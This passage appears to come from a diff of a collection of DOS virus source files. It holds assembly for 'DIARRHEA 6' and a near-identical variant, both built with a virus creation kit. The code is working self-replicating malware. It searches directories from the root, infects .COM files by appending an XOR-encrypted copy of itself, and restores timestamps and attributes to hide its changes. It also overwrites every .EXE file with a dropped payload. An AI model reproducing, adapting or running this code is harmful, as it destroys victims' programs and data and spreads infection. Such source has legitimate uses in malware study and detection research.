|
||||
mov dx,[di + 018h] ; DX holds old file data
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor ch,ch ; Clear CH for attributes
|
||||
mov cl,[di + 015h] ; CL holds old attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc write_in_file ; If successful do next file
|
||||
jmp short dropper_end ; Otherwise exit
|
||||
create_file: mov ah,03Ch ; DOS create file function
|
||||
xor cx,cx ; File has no attributes
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,[si] ; CX holds number of byte to write
|
||||
lea dx,[si + 2] ; DX points to the data
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
dropper_end: pop di ; Restore DI
|
||||
|
||||
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
data00 db "*.EXE",0
|
||||
|
||||
data01 dw 254h
|
||||
db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
|
||||
db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
|
||||
db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
|
||||
db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
|
||||
db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
|
||||
db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
|
||||
db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
|
||||
db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
|
||||
db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
|
||||
db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
|
||||
db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
|
||||
db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
|
||||
db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
|
||||
db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
|
||||
db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
|
||||
db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
|
||||
db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
|
||||
db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
|
||||
db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
|
||||
db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
|
||||
db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
|
||||
db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
|
||||
db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
|
||||
db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
|
||||
db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
|
||||
db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
|
||||
db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
|
||||
db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
|
||||
db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
|
||||
db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
|
||||
db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
|
||||
db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
|
||||
db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
|
||||
db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
|
||||
db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
|
||||
db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
|
||||
db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
|
||||
db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
|
||||
db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
|
||||
db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
|
||||
db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
|
||||
db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
|
||||
db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
|
||||
db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
|
||||
db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
|
||||
db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
|
||||
db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
|
||||
db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
|
||||
db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
|
||||
db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
|
||||
db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
|
||||
db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
|
||||
db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
|
||||
db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
|
||||
db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
|
||||
db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
|
||||
db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
|
||||
db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
|
||||
db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
|
||||
db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
|
||||
db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
|
||||
db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
|
||||
db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
|
||||
db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
|
||||
db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
|
||||
db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
|
||||
db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
|
||||
db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
|
||||
db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
|
||||
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
|
||||
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
|
||||
db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
|
||||
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
|
||||
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
|
||||
db 018h, 019h, 04Fh, 018h
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,427 @@
|
||||
; DIARRHE6.ASM -- DIARRHEA 6
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by URNST KOUCH
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
call search_files ; Find and infect a file
|
||||
call search_files ; Find and infect another file
|
||||
lea dx,[di + data00] ; DX points to data
|
||||
lea si,[di + data01] ; SI points to data
|
||||
push di ; Save DI
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
mov di,bx ; DI points to DTA
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
int 021h
|
||||
jc create_file ; If not found then create it
|
||||
write_in_file: mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; File will have no attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ax,03D01h ; DOS open file function, write
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,[si] ; CX holds number of byte to write
|
||||
lea dx,[si + 2] ; DX points to the data
|
||||
int 021h
|
||||
mov ax,05701h ; DOS set file date/time function
|
||||
mov cx,[di + 016h] ; CX holds old file time
|
||||
mov dx,[di + 018h] ; DX holds old file data
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor ch,ch ; Clear CH for attributes
|
||||
mov cl,[di + 015h] ; CL holds old attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc write_in_file ; If successful do next file
|
||||
jmp short dropper_end ; Otherwise exit
|
||||
create_file: mov ah,03Ch ; DOS create file function
|
||||
xor cx,cx ; File has no attributes
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,[si] ; CX holds number of byte to write
|
||||
lea dx,[si + 2] ; DX points to the data
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
dropper_end: pop di ; Restore DI
|
||||
|
||||
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
data00 db "*.EXE",0
|
||||
|
||||
data01 dw 189h
|
||||
db | ||||